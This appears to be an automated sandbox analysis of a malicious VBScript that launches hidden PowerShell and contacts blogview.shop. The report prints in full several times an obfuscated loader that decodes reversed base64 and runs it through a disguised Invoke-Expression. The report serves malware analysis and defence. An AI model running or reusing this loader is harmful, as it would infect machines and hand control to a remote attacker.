Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb" source: powershell.exe, 00000001.00000002.2606764864.0000014237DAB000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: unknown

DNS traffic detected: query: blogview.shop replaycode: Server failure (2)

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: blogview.shop

Source: powershell.exe, 00000001.00000002.2603207731.000001422F997000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2603207731.000001422F854000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2582773190.000001421F7E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.2582773190.000001421F7E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.2582773190.00000142211EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2582773190.000001422117A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop
Source: powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/
Source: powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/86718771597555964672/refresh6/
Source: powershell.exe, 00000001.00000002.2582773190.000001422117A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/86718771597555964672/refresh6/7045193862.txt
Source: powershell.exe, 00000001.00000002.2582773190.0000014220E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/86718771597555964672/refresh6/X
Source: powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/refresh6
Source: powershell.exe, 00000001.00000002.2582773190.0000014220E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blogview.shop/api/values/refresh6X
Source: powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.2582773190.0000014221348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.2582773190.000001422071F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.2582569700.000001421F6D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: powershell.exe, 00000001.00000002.2603207731.000001422F997000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2603207731.000001422F854000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2582773190.000001421FA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_00007FFD9B88423A

1_2_00007FFD9B88423A

Source: FJw9llPHsk.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@4/4@1/0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7476:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tatqkyd4.hi5.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FJw9llPHsk.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: ws\dll\System.Core.pdb source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000001.00000002.2582012852.000001421DADD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdb source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\ows\ source: powershell.exe, 00000001.00000002.2606764864.0000014237DD1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7a5c561934e089\System.pdbn source: powershell.exe, 00000001.00000002.2606764864.0000014237DD1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000001.00000002.2582012852.000001421DA50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.Core.pdbvY source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000001.00000002.2606764864.0000014237DD1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000001.00000002.2606764864.0000014237DAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbpdbtem.pdb source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb~ source: powershell.exe, 00000001.00000002.2606764864.0000014237DD1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: re.pdb source: powershell.exe, 00000001.00000002.2582569700.000001421F73F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000001.00000002.2606764864.0000014237DAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb" source: powershell.exe, 00000001.00000002.2606764864.0000014237DAB000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell.exe -executionpolicy bypass -w hidden -noprofile -c $best64code", "0", "false");

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;@{# Script module or binary module file associated with this manifest.Mo

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c $best64code = '==Qf7kSewJHZkwyJ2g2clJnZlJ3LzVWdsFmdvkGch9Ccvh2cucXZpZ3ZvxmYv8iOzBHd0h2JoEGdhRGZh9GbwVnLrpWdksjNxACclVGbz1CdyFGdztDduVWasNmYldnL0VmbgQ3YlpmYv1ydl5WPrpWdksDMxACclVGbz1CdyFGdztTf7kybkpmYkgyclRXeCRXZH5COmRXV6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9kHcyRGJd11WlRXeit1On5WayR3ctQXdPxnbihGJ9sybkpmYksjcrpGJggVRJ1jbihGJ7Umbpx0dl5kO60FduVWbu9mcpZnbF5SblR3c5N1WrkCcpRCKzV2czVmckRWQ0N3bIRXZHpjOdNnbE5Cdl5kLtVGdzl3Ub1zKvRmaiRyOn0TPn0zKvRmaiRyOp1WYvh2d98GZqJGJ7V2csVWf7I3aqRCIYVUS9kHcyRGJg0VXbVGd5J2W7lyJ05WZ052bj1Cdld2Jgg2Y0FWbtAicrpGJoYWa7kSbsZGJocmbpJHdTRXZn5COmRXd6oTXn5Wak92YuVmL0hXZ05SblR3c5N3W9I3aqRyepEDI0dWLggGdn5WZM5SbsZGJoYWa7kyYyRyKn8iNoNXZyZWZy9iM3YDN2kTN1UzN5UTM3cDOxcjN48yclVHbhZ3LpBXYvA3boNnL3VWa2d2bsJ2LvozcwRHdodCKhRXYkRWYvxmb39GZusWapRSPtxmZkszJ0hHducCIrASK99FJdJXYoN2WgsHI0NWZqJ2btg2YhVmcvZGI8BSK1EDI4FWbtASNg4Wat1CIt9GZuFmctQXZnBCK05WdvNWLg02bk5WYy1CdldGI8BSK3UjLugDNogCIul2bq1CI9AyYyRyO05WZpx2YiV2duQXZuBCdjVmai9WL3Vmb9sWapRyOxEDIwVWZsNXL0JXY0N3OpMDNggXYt1CI1Aibp1WLg02bk5WYy1CdldGKgAXZlx2ctQnchR3c7kzMgAXZlx2ctQnchR3c' ;$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;$lOadcODE = [sYSTEm.text.eNCoDIng]::UtF8.geTstRiNG([SYStEM.coNvErT]::FRoMBAse64stRInG($BASe64)) ;$pwn = 'InV'+'Oke'+'-ex'+'Pre'+'SsI'+'ON' ; NeW-aliAS -nAme pwn -vALUE $pWN -forCe ; pWn $LoaDCode ;
